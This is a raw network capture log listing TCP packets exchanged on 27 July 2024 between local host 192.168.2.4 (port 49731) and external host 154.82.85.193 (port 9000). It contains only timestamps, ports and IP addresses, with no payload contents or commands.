Jul 27, 2024 16:57:45.196705103 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.196741104 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.196743965 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.196777105 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.196808100 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.196825027 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.196841955 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.196858883 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.196876049 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.196907043 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.196930885 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.196942091 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.196974993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.196995020 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.197012901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.197046041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.197072029 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.197081089 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.197138071 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217102051 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217180014 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217235088 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217242002 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217271090 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217324018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217333078 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217356920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217407942 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217411041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217444897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217479944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217493057 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217519999 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217556953 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217571974 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217591047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217624903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217644930 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217658997 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217690945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217708111 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217725992 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217758894 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217777014 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217791080 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217837095 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217844009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217875004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217907906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217924118 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.217941999 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217977047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.217997074 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218029022 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218051910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218067884 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218085051 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218100071 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218100071 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218116045 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218131065 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218131065 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218147993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218149900 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218173981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218183994 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218189001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218205929 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218230009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218234062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218246937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218255997 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218261957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218277931 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218292952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218295097 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218310118 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218324900 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218328953 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218341112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218355894 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218357086 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218372107 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218394995 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218400955 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218413115 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218417883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218434095 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218449116 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218463898 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218468904 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218478918 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218493938 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218498945 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218511105 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218525887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218534946 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218553066 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218554020 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218569040 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218583107 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218597889 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218601942 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218615055 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218630075 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218631029 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218645096 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218660116 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218662024 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218677044 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218693018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218697071 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218719959 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218738079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218751907 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218766928 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218774080 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218781948 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218799114 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218799114 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218799114 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218813896 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218826056 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218830109 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218844891 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218861103 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218862057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218878031 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218894005 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.218899012 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.218914986 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.219178915 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.219194889 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.219209909 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.219225883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.219228983 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.219242096 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.219250917 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.219257116 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.219274044 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.219285011 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.219316006 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.221545935 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.286602974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.286674023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.286727905 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.286746979 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.286761045 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.286796093 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.286815882 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.286828995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.286879063 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.286880016 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.286914110 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.286947012 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.286962032 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.286982059 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287014961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287026882 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.287065983 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287100077 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287108898 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.287133932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287168026 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287174940 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.287201881 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287236929 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287245989 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.287270069 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287302017 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287309885 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.287334919 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287368059 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287375927 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.287400961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287435055 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287441969 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.287468910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287502050 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287513971 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.287540913 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287578106 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287583113 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.287606001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.287653923 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308016062 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308084965 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308137894 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308156967 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308171988 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308207035 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308222055 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308242083 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308276892 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308290958 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308310032 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308363914 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308372974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308423996 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308470964 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308475018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308537960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308577061 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308589935 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308624983 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308659077 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308676004 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308691978 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308726072 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308737993 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308758974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308804035 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308808088 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308841944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308876038 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308888912 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308908939 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308955908 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.308959007 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.308993101 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309026003 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309041977 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309057951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309092999 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309103966 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309125900 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309159040 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309170961 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309191942 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309225082 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309238911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309257984 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309292078 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309304953 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309324980 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309356928 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309371948 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309391022 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309432030 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309441090 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309473991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309528112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309535027 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309561014 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309608936 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309611082 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309643984 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309679985 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309689045 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309712887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309756994 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309760094 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309789896 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309823036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309835911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309874058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309925079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309926033 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.309957981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.309992075 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310003042 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310024977 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310059071 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310075045 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310091972 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310123920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310137033 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310158014 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310190916 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310204029 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310224056 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310297012 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310309887 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310328960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310364008 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310378075 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310398102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310431004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310445070 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310462952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310496092 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310511112 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310532093 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310564995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310580015 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310597897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310631037 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310643911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310662985 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310695887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310709953 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310729027 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310761929 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310777903 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310795069 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310827971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310841084 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310861111 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310894966 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310904980 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310928106 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310961008 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.310976028 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.310996056 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.311029911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.311043024 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.311064959 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.311113119 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.380295992 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380366087 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380400896 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380433083 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380467892 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380542994 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380559921 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.380559921 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.380598068 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380625010 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.380631924 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380666018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380687952 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.380700111 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380733967 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380750895 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:45.380767107 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:45.380800962 CEST	9000	49731	154.82.85.193	192.168.2.4
